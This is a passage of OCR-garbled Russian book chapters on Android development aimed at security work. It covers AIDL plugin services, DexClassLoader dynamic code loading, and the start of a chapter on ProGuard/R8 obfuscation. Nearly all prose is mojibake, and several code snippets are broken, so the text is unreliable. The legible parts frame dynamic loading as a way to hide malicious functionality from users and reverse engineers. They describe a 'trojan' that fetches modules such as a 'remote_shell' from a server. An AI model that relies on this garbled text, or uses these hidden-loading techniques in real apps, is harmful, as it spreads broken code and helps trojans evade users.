3 libsu (https://github.com/topjohnwu/libsu) ot pazpabotunka Magisk.

PacwupeHue pyHKUUOHANBHOCTU

JuHamuveckoe pacuivpeHde QpyHKLMOHAIBHOCTH — CTaHJapTHas MpaKTHKa MpH pa3pa-
60Tke 310BpeoB. JIMHaMHYeCKO€ pacClIMpPEHHE MOXKHO UCIOJIb30BaTh KaK Ul CKPBITHA
310BpeaHOH (QYHKLIMOHANIBHOCTH NMPHJIOKEHMS (KOTrJa YacTH MajlBapH JOKaYMBaIOTCS M3
CEeTH YyXe Mocje YCTAHOBKH OCHOBHOIO MPWIOXKEHHUS), TaK W A NOMKIIOYEHUsT HOBBIX
¢yHkumii. B cnepyroumx IByXx noapasaenax Mbl paCCMOTPHM, KaK pa3/e/IuTh OAHO MpH-
JIOXKEHHE Ha HECKOJIBKO (apXHTEKTypa INJIarMHOB) U KaK 3arpy3UTh JOMOJHHUTENbHBIA KO
B yke paboTaroluee NnpuIoKeHHe.

TTnaruHer

Panee 51 y>xe ynoMuHan, uyro ¢ nomouibio Binder B Android peann3oBaH He TOJIbKO OOMeH
COOOLIEHUSMH, HO U BBI30B (PyHKUMA. DakTHYECKH KaKIBIA pa3, KOrjaa KoJA BHI3BIBAET
onpeaeneHHsli cucteMHblii AP wnn pyHkumio gpyroro npunoxxenus, Android Ha camoM
aene nocklnaer coobueHde. OTBETHBIM cooOlIeHHeM Kak pa3 M OyneT Bo3BpaliaeMoe
byHKUMel 3HaYeHHe.

HOHyCTl/lM, Y HacC €CTb HEKOEC MNPHUTTOKEHUE, OJIA1 KOTOPOr0 Mbl XOTHM p€aIn3oBaTh noa-
ACPXKKY TIJIarHHOB. Kaxaplii niaruH gopkeH OBITh [NOJJHOLUCHHBIM TNPHIOXKECHHEM I
Android. «Pogurenbckoe» NMPHUITOXKECHHUE NO/DKHO YMETh CaMO HaXOAWTh YCTAHOBJICHHBIC
NJ1aruHbel 1 IlO6aBJl5lTl> HX B CIIMCOK. YUWTBIBas CKa3aHHOC, HaM HeOGXOlIPlMO BHECTH
B KO NMPHIIOXEHHSA CIIEAYIOLUE U3MEHCHHS !
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1. Ompenenuts API, ¢ noMolLbI0 KOTOPOro NpuiIoxeHue OyneT o61aThCs ¢ IIarMHaMu.

2. Peanu3oBaTh MeXaHH3M MOHCKA IUIATHHOB U BECTH HX «Yy4eT».

API

Cameli ynOOHBIH H MPOCTOH crnocod peanu3aLiy IUIATHHOB — B BHIE CEPBHUCOB, 3aITyc-
KaeMbIX 1o 3ampocy. Hamie npunoxeHue Oyner HaXOAMTb YCTaHOBJIEHHbIE B CHCTEME
NPHIOXKEHUA-TUTaruHbI, B HY>)KHBIE MOMEHTBI 3aITyCKaTh PEATN30BaHHbIE B HUX CEPBHCHI U
BBI3bIBaTh UX (yHKUHMH. [Ipn 3TOM cepBHCHI OyayT 3amyLieHbl TOJIbKO TOrAa, KOraa OHU
JeHCTBUTENBHO HY)XHBI, a CHCTEMa caMa Mo3ab0THTC 00 UX 3aBEpLIEHHH U MEHEIKMEH-
Te pecypcoB. UMeHHO Tak, kcTaTtd, pabotaer cuctema ruarnHoB Bumkera DashClock u
MHOTHX APYTHX MPHIOKECHHH.

Jns Hayana Ham Heo6xoauMo co3nats onucanue APl (MHTepodeiica) ¢ kaxaoi U3 CTOPoH
(npunoxeHus ¥ miaruHoB) ¢ nomoumbio s3sika AIDL (Android Interface Definition
Language). [lng Hawero npuMepa co3zaauM MpocToi uHTepdeiic, onpenensomuii ase
q)yHKIIHH: run () M nameName () :

I java

package com.example.plugin

interface IPlugin {
// BosBpamaer uMsa [laTMHa
String getName();
// 3anyckaeT IulaTMH M BO3BpaWaeT pes3ysbTaT PaboTh
String run(int seconds);

Co3spaiire ¢aiin 1Plugin.aidl ¢ nomousto koMaHa New — AIDL — AIDL file u nomec-
TUTE B HEro 3TH CTpoku. 3ateM BbinosHUTe Build — Make Project, uro6s1 Android
Studio npeo6pazoBan AIDL B 0Ob1yHBIi K0oa Ha Java.

TTpocteriwun nnarvH

Tenepr peanuszyem caM IuiarvH. s 3Toro cosmaeM HOBBIH MPOEKT (IMyCTh €ro MMs
Oyner com.example.pluginl), qo6aBnseM B Hero ¢ai Iplugin.aidl (OOpaTHTE BHUMaHHeE,
YTO OH JOJDKEH TOYHO COBNAAATh C aHAJIOTHYHBIM (aiIoM U3 NMpeablaylLero pasaena) 1
¢aiin plugin.java CO CIEIYIOLIUM COOEPKUMBIM:

| java |

public class Plugin extends Service {
@Override
public void onCreate() {
super.onCreate () ;
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@Override
public IBinder onBind(Intent intent) {
return mBinder;

private final IPlugin.Stub mBinder = new IPlugin.Stub() {
public String getName () {
return "ExamplePlugin";

public String run(int seconds) {
try |
Thread.sleep(seconds * 1000);
} catch (Exception e) {}
return "pluginl done";

}i

310 mpocTeiLIMi IIaruH, KOTOPBIA MPOCTO 3achimaeT npH 3amycke. Hanbonee BaxHas
€ro 4acTb — 3TO METOJ onBind, KOTOPBIH BO3BpalaeT 0OBbEKT K1acca Binder, pealu3yro-
i uHTepdenc IPlugin, B MOMEHT MOIKJIIOYEHUA K cepBHUCY. JI[pyrMMH ClOBaMH, NpH
MOJKJIIOYEHHH K IUIarHHy Hallle MPUJIOKEHHE MOMYYHUT OOBEKT, C MOMOLIBIO KOTOPOro
CMOXXET BbI3bIBATH OMNpEEICHHBIE B IUTarMHe PyHKLHM getName () M run() .

TTouck nnaruHos

Teneps HeoOXoAMMO peanM30BaTh CUCTEMY NMOHMCKA YCTaHOBJCHHBIX IU1aruHOB. IIpome
(u npaBWIbHEE) BCETO CAENaTh 3TO C OMOLIBIO ONUCAHHBIX paHee UHTEHTOB. Jlis sTOro
CHayaja BHECEM H3MEHEHHMA B (aiy1 Manifest IUIarMHa, J0OaBMB B HETO ClEAYIOLLHE
CTPOKH (B pa3fieN application):

» xml : oy ‘

<service android:name=".Plugin"
android:exported="true">
<intent-filter>
<action android:name="com.example.action.PLUGIN" />
</intent-filter>
</service>

JlaHHBIE CTPOKH FOBOPAT O TOM, 4TO cepBHC Plugin mospkeH ObITH OTKPBIT NI JOCTyNa
M3BHE W «OTBEYaTh» HAa HMHTEHT com.example.action.PLUGIN, OJHAaKO HaM 3TOT HMHTEHT

HY>XC€H BOBCE€ HE€ [JIA 3TOro, a IJid TOro, YTOOBl HAHTH IUIarMH B CHCTEME Cp€an COTEH
YCTAHOBJICHHBIX l'IpHJ'lO)KCHHﬁ.
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CaM MexaHH3M [OMCKa IUIATHHOB PEaTM30BaTh JOBOJIBLHO NpOCTO. J[1s 3TOro A0CTaTOYHO
obpatuthes k PackageManager ¢ npoce0oii BepHyTh CIHMCOK BCeX NMPUIIOKEHHH, OTBe-
YarIlIHUX HA UHTEHT com.example.action.PLUGIN:

[java

PackageManager packageManager = getPackageManager();
Intent intent = new Intent ("com.example.action.PLUGIN");

List<ResolvelInfo> list = packageManager.querylIntentServices (intent, 0);

Yrobsl ¢ nnaruHaMu 6bu10 ynobHee paborars, cozgaaum HashMap v nmomectuM B Hero
HMMEHa NPHIOKEHUH-TUIaTMHOB B KaYeCTBe KJIKOYeH, a UMEHa UX CEPBHCOB — B KayecTBe
3Ha4YEHHI:

java

HashMap<String, String> plugins = new HashMap<>();
if (list.size() > 0) |
for (ResolvelInfo info : list) {
ServiceIlnfo servicelInfo = info.servicelnfo;

plugins.put (serviceInfo.applicationInfo.packageName, serviceInfo.name);

3anyck yHKUUA nnaruHa

Teneps, koraa y Hac ecTh rOTOBBIN TUIarkH, a MPWIOKEHHE YMEET ero HaxoaUTh, Mbl MO-
»KeM BbI3BaTh ero GpyHKUMH. 19 3TOro Mbl JOKHBI MOAKIIOYMTECA K CEpBHCY IUIarMHa
C MOMOUIBIO bindService, Mepegas eMy oOpaboTYMK MOAKITIOYEHHUSA, KOTOPbIA OyAeT BbI-
3BaH, KOTJja COeIMHEHHE ¢ cepBHcOoM Oyner ycrtaHoBiaeHo. B koae Bce 1o Oyner Bhiris-
JETh MPUMEPHO Tak:

java

IPlugin plugin;

// OnpenenseM Haw "oOpaBoTuMK" NOOKILOUEHMS
class MyServiceConnection implements ServiceConnection {
// Komnbex, KOTOpbBt OymeT B3bBaAH NPY MNOOKIIOYEHUM K CEPBUCY
public void onServiceConnected (ComponentName className, IBinder boundService ) {
// TlonyyaeM OOBEKT OJIS B3aMMOIEMCTBUS C CEPBUCOM
plugin = IPlugin.Stub.asInterface (boundService) ;
// TlpoByeM BhI3BATH METOL run() M JIOTMPYEM €ro BHIBOIL B KOHCOJNb (3TO HOOJKHA OHITb
crpoka "pluginl done")
try {
String result = plugin.run(2);
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Log.d(TAG, "result: " + result);
} catch (RemoteException e) ({}

// Kosnbek, koTOphlt GymeT B3bHBaH NpU MOTEpe CBA3U C CEPBUCOM
public void onServiceDisconnected (ComponentName className) {
plugin = null;
Log.d(TAG, "onServiceDisconnected" );

// Co3maeM Intent IUIs BeIBOBA CepBMUCA, OMPENEJIEHHOT'O B MNPUJIOXEHMM COm.example.pluginl
ComponentName name = new ComponentName ("com.example.pluginl",

plugins.get ("com.example.pluginl”));

Intent i = new Intent();

i.setComponent (name) ;

// TlooxsuoyaeMCs K CepBUCY, 3anyCckKas ero B Cilydae HeOoOXOMMMOCTM
MyServiceConnection myServiceConnection = new MyServiceConnection();
bindService (i, myServiceConnection, Context.BIND AUTO CREATE);

// OTkiouaeMcs OT cCepBuCa
unbindService (myServiceConnection) ;

JlaHHBIH KO, NMPH BCEH CBOEH rPOMO3AKOCTH, JENIAET OUYEHB MPOCTYIO BELIb — IMOAKIIIO-
4aeTcs K CEPBUCY, PEAIH30BAHHOMY B NPWIOXKEHHH com.example.pluginl (3TO Hall IUia-
T'HH, HATIOMHIO) M BBI3bIBaeT PYHKLHIO run (), KOTOPYIO Mbl paHee ONpENETHIH B IUIarHHe
U uHTepdeiice 1Plugin.aidl. Camo coboit, naHHbIH npuMep OyneT paboTaTh TONBKO B OT-
HOILEHWH OJIHOTO TUIarMHa, UM KOTOPOro 3apaHee M3BeCTHO. B peaibHOM npuinoxeHHH
HeobxoauMo 6yaet 6o npoxoauts no BceMy hashmap plugins H nocaeaoBaTeNbHO 3a-
MyCKaTh KaXIbli IU1arkH, Jubo peanu3oBarth rpadpudeckuit uutepdeiic, kotopeiii Oyner
JUHAMHYECKH CO3JaBaTh M BBIBOJMTH HAa 3KpaH CIHCOK IUIarHHOB Ha ocHoBe hashmap
H MO3BOJIMT MOJIB30BATEINIO 3aIyCKaTh KaXAbIi W3 HUX MO OTAENBHOCTH. MOXHO Hcnonb-
30BaTh hashmap plugins A1 co3JaHMA KHOMOK MHTepderica, NP HAKATHH Ha KOTOpPbIE
Oyner 3armycKaTbcs TOT WIM MHOH ILIarHH.

B o0wieM, BapuaHTOB Macca, IJIaBHOE — 3allOMHHTb, YTO Mepe 3allyCKOM HOBOIO IUIa-
rHHa HeoOXOIMMO OTKJIIOYaThes OT mpeapiayuero. Bee ocransHoe Android caenaer cam:
MNpH MOAKIIOYEHHH K IUIarHHY 3allyCTHT CEPBMC, NEPENacT eMy YNpaBlieHHE, a 3aTeM 3a-
BEPLUMT CepBUC NpPHU OTKIIOYEHHH. HHKakoro JHIIHEro oBepxea Ha CHCTEMY, HUKAKHMX
Ype3MepHBIX pacXoJOB ONEepaTHBHOM MaMATH, JaXe 3a MOBEJEHHEM IUIarHHOB CIEAMTH
He HaJ0: B CITyYae eClIi OJWH WIH HECKOJNBKO M3 HUX HaYHYT rPy3UTh CHCTEMY WIH Bbi-
JKHUpaTh ONEPaTUBKY — CHCTEMa MX MPHOBET.
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U eme onHa BaxkHas netans. Bei3oB QyHKLMIA MarMHa MpOMCXOOMT CHHXPOHHO, T. €.
B HallleM CJTy4yae NpH BBIMOJHEHHH plugin. run (2) MPUIOXKEHHE OYAET 3aMOPOXKEHO Ha JIBE
cekyHasl. [lo-xopoueMy, B JaHHOM ciy4ae HEOOXOAHUMO BBITIONHATH 3aMyCK (YHKLHH
B OTAE/ILHOM NOTOKE, a 3aTEM OTIPAB/IAThH PE3Yy/bTaT UCTIOJTHEHHA B OCHOBHOM MOTOK.

AuHamuueckaa 3arpyska koaa

B xiaccuyeckoM Java ecTh Kiacc moj Ha3BaHHEM java.lang.ClassLoader. Ero 3amaua —
3arpy>kaTh 0aiTkon yka3aHHoOro kiacca (¢aiin ¢ paclIMpeHHeM .class) B BUPTYalIbHYIO
MalIHHY BO BPEMs MCIOJHEHHS NMPHIOKEHHUA. 3aTeM MOXHO cO3JaTh OOBEKT ITOro Kiac-
Ca U BBI3BIBATh €r0 METO/bI C MOMOLIBIO pedIeKCHH. 3TO cnocod JMHAMHYECKO# 3arpy3-
KH Kopa.

B Android HeT BHpTyanbHOi MalHHBI Java M HeT Ki1acca ClassLoader, HO €CTh €r0 aHa-
Jor — DexClassLoader, BBINOJHAIOLIMA POBHO Ty )K€ QYHKLMIO, HO B OTHOLLIEHHH GaHTKO-
na DEX (4 ¢ainoB .dex BMECTO .class COOTBETCTBEHHO). B oTinume oT «HacToNBHOrO»
Java, rae npolue NonoxuTh Hy>KHBIH jar-ain B CLASSPATH M He BO3HUTBCA C JHUHAMHYe-
CKko# 3arpy3koil, B Android Takoif moaxonx Jaer NEHCTBUTEIBHO MHOIO NMpPEUMYLIECTB,
I1aBHOE M3 KOTOPBIX COCTOMT B TOM, YTO (YHKLHOHAIBHOCTb MPHIOKEHHS MOXHO pac-
IIHPATh U OOHOBJIATH HE3AMETHO VIS MOJIb30BATENd M HH O YEM €ro He CrpauIMBas.
B mo6o#f MOMEHT Ballle MPHIOXKEHHE MOXET CKayaTh (aiiy ¢ KIaccoM ¢ cepBepa, 3arpy-
3UTh, @ 3aTEM YAAIUTD Qaiin.

Knaccel Mo>xHO XpaHUTh npsAMo B nakete APK M 3arpyskaTh Bo BpeMs cTapTa Npuioxe-
Hus. Beiroza 3zeck B TOM, 4TO KOJ 3arpy>kaeMbIX KJ1accoB OyaeT OTAeneH OT KoAa caMo-
ro nmpwioxeHus U Haxoaurcs B APK «He mo aapecy»; HHCTpyMeHTH! Bpoje apktool,
KOTOPBIMH TaK TIOOAT NOIB30BaThCA peBEPCEPHI, HX MpocTo He yBUaAT. C apyroi cropo-
HbI, 3TO CKOpee 3allUTa OT AypaKa, T. K. HOpMaJIbHbIH peBepc-HH)KEHEp OBICTPO CMEKHET,
4TO K YeMy.

Kak 65l TaM HH OBLIO, TUHAMHYECKas 3arpy3ka KJI1acCcOB — OY€Hb IOJIe3Has LUTyKa MpH
HalKUCaHHUM He COBCEM «OeNbIX» MpWIOKEHHH, MO3TOMy OO0 security-crieHaIucT
JOJDKEH 3HaTh, KaK 3TOT MEXaHU3M paboTaeT ¥ Kak OH UCTOJb3yeTCs B TPOSHAX.

TTpocTeiiwmn npumep

YroObl Bce HamucaHHOE Jajnee ObUTO Mpolle MOHATh, cpa3dy MpUBeLy MpUMep pabouero
3arpy34MKa KJIacCOB:

| java

// TlyTe 0O jar-apxuBa C HauMM KJIaCCOM

String modFile = "/sdcard/myapp/module.jar";
// TlyTb 0O NPMBATHOTO KATAJIOTa NPUIIOKEHUS
String appDir = getApplicationInfo().dataDir;

// TomrpyxaeMm dain c micka

DexClassLoader classLoader = new DexClassLoader (modFile, appDir, null,
getClass () .getClassLoader());
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// 3BarpyxaeM kjacc, cos3maeM OOBEKT M MNpoByeM BEI3BaTh MeTON run() C noMoupio pednexcim
try {

Class c = classLoader.loadClass ("com.example.modules.simple.Module");

Method m = c.getMethod ("run", null);

m.1nvoke (c.newInstance (), null);
} catch (Exception e) ({

e.printStackTrace();

B uenoM 31ech Bce MpOCTO, KOJ 3arpy’kaeT jar-apXuB /sdcard/myapp/module.jar € HyX-
HBIM KJIACCOM, 3arpy>a€T M3 HEro KJaccC com.example.modules.simple.Module, CO3XAa€T
00BEKT M BBI3BIBAET METON run (). OOpaTHTEe BHUIMaHHE HA TPH MOMEHTA:

O DexClassLoader YMeeT 3arpy»aThb Kak «npocto ¢aiinbl .dex», Tak M jar-apXuBbl, I0-
CleHHE MpeanoYTUTENbHEeE U3-3a CKATHA M BO3MOXKHOCTH MCTIOJNIB30BaTh LIH(POBYIO
MOATKCH;

O BTOpO# apryMeHT KOHCTPYKTOpA DexClassLoader — 3TO KaTaJIOT, KOTOPBIA OH UCNOJb-
3yeT AJIs COXpPaHEHUs ONMTHUMH3MPOBaHHOTO OaiTkoaa (odex), Ui MPOCTOTHI MBI yKa-
3bIBa€M MPHBATHBII KaTajor caMoOro NpuiIOXKEHHS;

0O B kadecTBe ApryMeHTa ME€TOoJa loadClass BCeraga HeoOX0aMMO YKa3bIBaTh aApeC Kj1acca
BMECTC C MMCHEM I1aKeTA.

YTo6BI NMPOBEPHTH JaHHBIH KO Ha paboTOCNOCOOHOCTD, CO3AaAUM MPOCTEHIINH MOAYJIb:

java

package com.example.modules.simple.Module;
import android.util.Log;

public class Module {
public void run() {
Log.d("Module", "I am alive!!!");

He ToponuTech co3naBath HOBbIH npoekT B Android Studio, MOXXKHO HaKMAATh 3TOT KOA
npaMo B «byiokHOTe» U coOpaTh €ro B jar-apXvMB U3 KOMaHIHOH CTPOKH:

$ javac -classpath /nyTs/no/SDK/platforms/android-29/android.jar Module.java
/nyTs/no/SDK/build-tools/29.0.1/dx --dex --output=module.jar Module.class

EﬁuOCTOBeprECEH YTO KATAJIOIU platforms/android-29 M build-tools/29.0.1 CyIIECTBYIOT,
B BalllEM CITy4ya€ UX UME€HA MOI'yT OTJIMYaThCA.

Ecnu Bce mpoiaeT rinagko, Ha BBIXOAE Mbl NOMyYUM Gaiil module.jar. OcTaHeTCS TONBKO
no0aBUTh KOI 3arpy3udka B TMPUIOXKEHHE, MOJIOXKHUTh module.jar Ha KapTy MaMATH,
cobpath M 3aIyCTUTh NPUJIOXKEHHE.
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Honovi pepnexcuro

Pednexcus — xopowas wryka, HO B JAHHOM CJTy4ae OHa TOJIbKO MewaeT. OJuH MeTon
6e3 apryMeHTOB ¢ €€ MOMOLIBIO BHI3BaTh HETPYAHO, OJIHAKO, €CJIH MBI XOTHM, YTOOHI Ha-
e MpWIoXKeHHe MMeno pa3Buthlii APl Momgyneit ¢ MHOXKECTBOM METOAOB, MPUHHUMAIO-
LIMX HECKOJILKO NapaMeTpoB, HYXKHO NMpUAyMath YTo-TO Oonee ynobHoe. Hanpumep, uc-
NOJb30BaTh 3apaHee omnpeleNeHHbI HHTepdeiic, KoTopblii OyaeT pealn3oBBIBaTh Kax-
JbIA MOZYJIb.

IIpuMeHHB Tako#i MOAXO0J K OMMCAHHOMY BHILLE MPUMEPY, MBI NMOJYYHM ClEIYIOLIHE TPH
(atiina:

1. ®aiin ModulelInterface.java, ¢ onucaHueM API:

’ java

package com.example.modules;

public interface ModuleInterface {
public void run();

2. aiin Module. java C peai3aLMeii Hallero MoayJis:

_

e

package com.example.modules.simple.Module;

import android.util.Log;
public class Module implements Modulelnterface {

public void run() {
Log.d("Module”, "I am alive!!!");

3. Hossiii 3arpy3uuk Moays (MOMECTHTE B CBOE NPHUIOKEHHE):

java

String modFile = "/sdcard/myapp/module.jar";
String appDir = getApplicationInfo().dataDir;

DexClassLoader classLoader = new DexClassLoader (modFile, appDir, null,
getClass () .getClassLoader());
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// 3BarpyxaeM KJIacC U co3gaeM OOBeKT C MHTepdeiticoM ModuleInterface
ModuleInterface module;
try {
Class<?> class = classLoader.loadClass ("com.example.modules.simple.Module");
module = (Modulelnterface) class.newlnstance();
} catch (Exception e) {
e.printStackTrace () ;

module.run()

Teneps Ml MOXeM paboTaTh ¢ MOayJieM, Kak ¢ 0ObIYHBIM 00bekTOM. Bosnee Toro, cucre-
Ma caMa oTOpakyeT MOXy/H (KJacchl), HE COBMECTHMBIE C HHTepQeHCcoM, elle Ha dTane
3arpy3kd, MO3TOMY HaM He MPHUAETCH 3aJaBaThCA BOIMPOCAMH: a €CTh JIH B MOAYJIE HYX-
HbIH HaM MeTon?

Koraa moayneu mHoro

C oaHMM MoxyieM Mbl pa3o0paliich, HO YTO JenaTh, ecid X Oyner MHoro? Kak Bectn
yuyeT 3TMX MOAYJied U He noTepAThesa cpeau Hux? Ha camoM aene Bce npocTo, is 3TOro
MOJKHO Hcnonb3oBaTh hashmap. Euie pa3 u3aMeHHM 3arpy3uHk:

java

String modDir = "/sdcard/myapp/";
String appDir = getApplicationInfo().dataDir;

File[] files = new File(modDir).listFiles();
Map<String, ModuleInterface> modules = new HashMap<>();

// 3arpyxaem Bce jar-¢aimel U3 yka3aHHOTO KaTaJjiora, CO3JaeM IUIs KaxXIOOTO U3 HUX OOBEKT
M rnoMemaeMm B x3uman modules
for (File file : files) {
DexClassLoader classLoader = new DexClassLoader (file, appDir, null,
getClass () .getClassLoader());

try {
Class<?> class = classLoader.loadClass ("com.example.modules."”" +
file.getName () .replace(".jar", "") + ".Module");
module = (Modulelnterface) class.newlInstance();
ModuleInterface obj = (ModulelInterface) loadedClass.newlnstance();
modules.put (file.getName () .replace(".jar", ""), obj);

} catch (Exception e) {
e.printStackTrace();
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JaHHbBI# koA 3arpyskaeT Bce jar-¢ailfibl U3 YKa3aHHOTO KaTaJjiora, 3arpy»xaeT UX KJacchl
Module, CO3/1a€T Ha MX OCHOBe 0OBEKTHl M noMeraer ux B hashmap modules. Obpatnre
BHMMaHHE Ha TPIOK, MCMOJIb30BAaHHbIA MpH 3arpys3ke kjacca M pa3sMelleHHH oObekTa
B hashmap. OH Hy)eH U1 IPOCTOTBHI: BMECTO TOr0, YTOOBI BBIACHATH MPUHAIEKHOCTD
KaXJ0ro MOMyJNs/Ki1acca MakeTy, Mbl MPOCTO YCIOBWIMCH, YTO UM jar-daiina momyns
6y11eT COOTHOCHTBCI C HMMEHEM IIaKkeTa [0 TaKOH CXeMe: com.example.modules.
MMA_JAR OAJIA, TAK YTO MBI Cpa3y 3HaeM MOJIHBIH aJipec Ki1acca Kaxaoro Moays.

Hanpumep, npuBeneHHbIi paHee MOAYy/b MPHHAMLIEKUT NAKETY com.example.modules.
simple (CM. AUMpekTHBY package), mosToMy ero HeoOXOAMMO BIKJIIOUMTH B jar-apxuB
simple.jar (MeH}IeM --output=module.jar Ha --output=simple.jar B KOMaHae C60pKH). Ko-
ra npuaeT BpeMs cOo3JaTh HOBBIM MOIYJlb, K MPHMEPY remote shell, NEPBOM CTPOUKOH
B €r0 MCXOJHHKAX Mbl yKaXX€M: package com.example.modules.remote_shell.Module; W 3a-
MaKyeM CKOMIMWIHPOBAHHbIA OalHTKOA jar-apXuB remote shell.jar. MMs jar-daiina (6e3
pacLIMpeHHs) MCMONb3YyeTCs Takke B kayecTBe kitouya B hashmap, nostomy, 3Has ums
MOJYJIsl, BCErJa MOXHO 3alyCTUTh €r0 METO/bI:

| java ‘ |

ModuleInterface module = modules.get ("umsa_monysa") ;
module.run();

Bepem moaynu c cobou

Ha maHHOM 3Tamne y Hac yxe ecTb NPHJIOXKEHHE, CIIOCOOHOE 3arpy>kaTb HEOrpaHHUEHHOE
KOJIMYECTBO MOJYJIeH M3 yKa3aHHOro Karaiora ¥ ¢ yanooctsom pabotate ¢ HUMHU. OcTa-
JIOCh pa3o0paThbes € TeM, KaK pacnpoCTPaHATh 3TH Moayan. CaMblii OYEBHIHBIH BapH-
aHT — 3TO 3arpy>artb UX ¢ cepepa. [lycTb Hal «TpOsSH» JeNaeT 3To pa3 B A€Hb, a NMOCIe
CKa4yMBaHUA MOIyJIeH 3aIycKaeT 3arpy34lK MoIyseH, YToObl MOArpy3UTh UX B MPUIIOKE-
Hue. PacckaspiBaTh, kak 3TO caesaTh, s He Oyay, 34ech BCE 3JEMEHTApHO, M peLleHHE
3TOii 3a/1a4H BbI HaiaeTe B J1000# BBOIHOM KHHUre npo pa3pabortky aAns Android.

Eue oquH BapMaHT — BKJIIOYHTH MOAYJIH B MaKeT ¢ MpUioxkeHHeM. B 3ToM ciydae Tpo-
sH Oyaer UMeTh JOCTYN K HEOOXOAMMBIM MOIYJISIM Cpa3y Mociie MepBoro 3amycka, YTo
3alIMTHT ero oT npoGieM ¢ Jo0cTynoM k ceTH. Korza >ke ceTb NOABHTCS, OH CMOXET A0T-
py>aTh MOAYJIH C CepBepa Mo Mepe HEOOXOAUMOCTH.

Yro6s! BIHOUKMTE MOAYIH B APK, nx Heo6X0AHMO NOMECTUThL B KaTallOT assets BHYTPH
npoekTa (B HalleM CITy4ae B assets/modules), @ 3aTEM peaiM30BaTh PacMaKOBLIMK MOAY-
Jieit B HyXKHbIi Ham kartasior. B kone 3to 6ynet BeirnsaeTh NpUMEPHO Tak:

[ java

String[] modulelist = context.getAssets().list("modules");
String unpackPath = "/sdcard/myapp/";

File unpackDir = new File (unpackPath);
unpackDir.mkdirs ()
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try {
BufferedInputStream bis;
OutputStream dexWriter;
final int BUF SIZE = 8 * 1024;

for (String moduleFile : modulelist) {

try {
bis = new BufferedInputStream(context.getAssets().open("modules/" +
moduleFile));

dexWriter = new BufferedOutputStream(new FileOutputStream(unpackPath +
"/" + moduleFile));

byte[] buf

int len;

while((len = bis.read(buf, 0, BUF_SIZE)) > 0) {
dexWriter.write(buf, 0, len);

new byte(BUF SIZE];

}
dexWriter.close();
bis.close();

} catch (Exception e) {
e.printStackTrace();

}
} catch (IOException e) {
e.printStackTrace();

Bce ouenp nmpocto. Kog HaxoauT Moaynu BHYTpH MaKeTa M MMOOYEPEIHO KOMUPYET MX
B KaTaJIor /sdcard/myapp, 3 KOTOPOrO 3aTEM HX MOXKHO OyAeT MOATpY3UTh ¢ MOMOLIBIO
3arpys3uMka.






rABA 16

CKprBGCM U 3anyTtbisaem Koa

Msl yxe yOeaWIHCh, HACKONBKO MPOCTO MPOAHATU3UPOBATh U B3JIOMaTh NPHIIOKEHHE
s Android. Koa Ha Java mnu Kotlin — kak otkpbitas kHura. Ero nerko aekoMnuiupo-
BaTh, U3YYUTh U BHECTH NpaBKU. [103TOMy aBTOpBI MajBapy 4acTO NMPUMEHAIOT pa3jiny-
Hble METO/bI 3aMyThiBaHUA (00¢dycKalMM), ynakoBKH U WKMdpoBaHHus koja. B 3Toil rnase
MBI PACCMOTPHM HEKOTOPBIE U3 TAKUX METOOB.

Cpa3y NosCHIO: HE CTOMT BOCTIPUHHMATH NMPHUBEAECHHYIO B CTaThe MHPOpPMALMIO KakK pe-
uent abCoMOTHOM 3auThl. Takoro peuenta Her, 3aLIMilIas NPUIOKEHHE HA YCTPOICTBE,
MBI BCEro JIMLIbL aeM cebe OTCPOouKy, 3aTOPMaKHBasi MCCIENOBAHUE, HO HE JIENIaeM €ro
HEeBO3MOXHBIM. Bce 310 — 6GeckoHeyHas Wrpa B KOLIKH-MBILIKH, KOTJa HCCeqoBaTeNb
B3/IaMbIBa€T OYEPEIHYIO 3aLIMTY, a pa3pabOTYMK MPUAYMBIBAET €i Gosiee H3OLIPEHHYIO
3aMEHy.

BTopoii BakHbI MOMEHT: s MPHUBEXY HECKOJIBKO pa3iM4HBIX TEXHHMK 3allUTHI, H y Bac
MO>KEeT BO3HHKHYTb CO0JIa3H 3alUXHYTh UX BCE B OJMH KJacc (WIM HaTUBHYIO 6ubnuore-
Ky), @ IOTOM C YA0OCTBOM s ce6s 3almycKaTh OAMH pa3 NpH CTapTe MpunoxxeHus. Tak
aenaTb He CTOMT: MeXaHHU3MBI 3alIMTHl JOJDKHBI OBITH pa3bpocaHbl MO MPUIIOKEHUIO U
CTapTOBaTh B pa3Hble MOMEHTbl BpeMEHH. Tak BBl CYLUECTBEHHO YCIIO)KHHUTE >XH3Hb
B3JIOMLIMKY, KOTOPBIii B NPOTHBHOM Cllyyae MoOr Obl ONpeAeiuTh Ha3HayeHUe Kiac-
ca/6MOIMOTEKH U LIEIMKOM 3aMEHHTh €0 Ha OJIHY 60nbmy10 3arTyLIKy.

Obgyckauus

Jlyuminit cnoco6 3alMThl KoJa MPUIIOKEHHS OT peBepca — 3To oOdyckauus, ApyruMu
CJIOBaMHM, 3amyThiBaHHEe OalTkoma Tak, 4YTOOBI peBepc-HHXKEHepy ObUIO HEBBIHOCHMMO
TpyAHO B HeM pa3zobpatbcsi. CyliecTByeT HECKOJIBKO HHCTPYMEHTOB, CIIOCOOHBIX 3TO
caenatb. Haubonee nmpocroii, Ho Bce xe 3ddekTuBHbIN, ecTh B coctaBe Android Studio.
Ot10 R8, He Tak 1aBHO 3aMEHUBILWI U3BECTHBIA MHCTPYMEHT MUHUMH3aLUH/00¢ycKalu
ProGuard.

Ins ero aktuBaumu gocTarodHo q06aBuTh B pasaen android — buildTypes — release
¢aiina build.gradle CTPOKY minifyEnabled true:
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build.gradie

android {

buildTypes {
release {
minifyEnabled true

[Tocne atoro Android Studio HauHeT npomyckaTh Bce «pejM3HbIe» COOpkHM uepe3
ProGuard. B pe3ynbTaTe NprIoKeHHe CTAHET KOMMAKTHeE (32 CUET yAaIeHHs HEMCIOIb-
3yeMOoro Koja), a Taioke MOSYyYHT HEKOTOpbIH ypoBeHb 3amMThl OT peBepca. «Hexoro-
pblit» B TOM cMbiciae, yTo ProGuard 3aMeHHT HMeHa BceX BHYTPEHHHX KJIaCCOB, METO/IOB
M nosiell Ha OAHO-ABYXOYKBEHHbIE COYETaHHA. JTO NEHCTBHUTENBHO CYLIECTBEHHO 3a-
TPYAHHUT NOHUMaHHE ACKOMITHIMPOBAHHOTO/AM3acceMOIMpPOBaHHOTO Koza (puc. 16.1).

Puc. 16.1. Tak sbirnapaT knaccol B agekomnunatope JADX nocne npumeHenua ProGuard

CobcTeeHHLIA cnosapb

ITo ymonuanmio ProGuard/R8 nepenMeHOBBIBaeT Kiacchl, METOABI M MOJA, MCMOIb3Ys
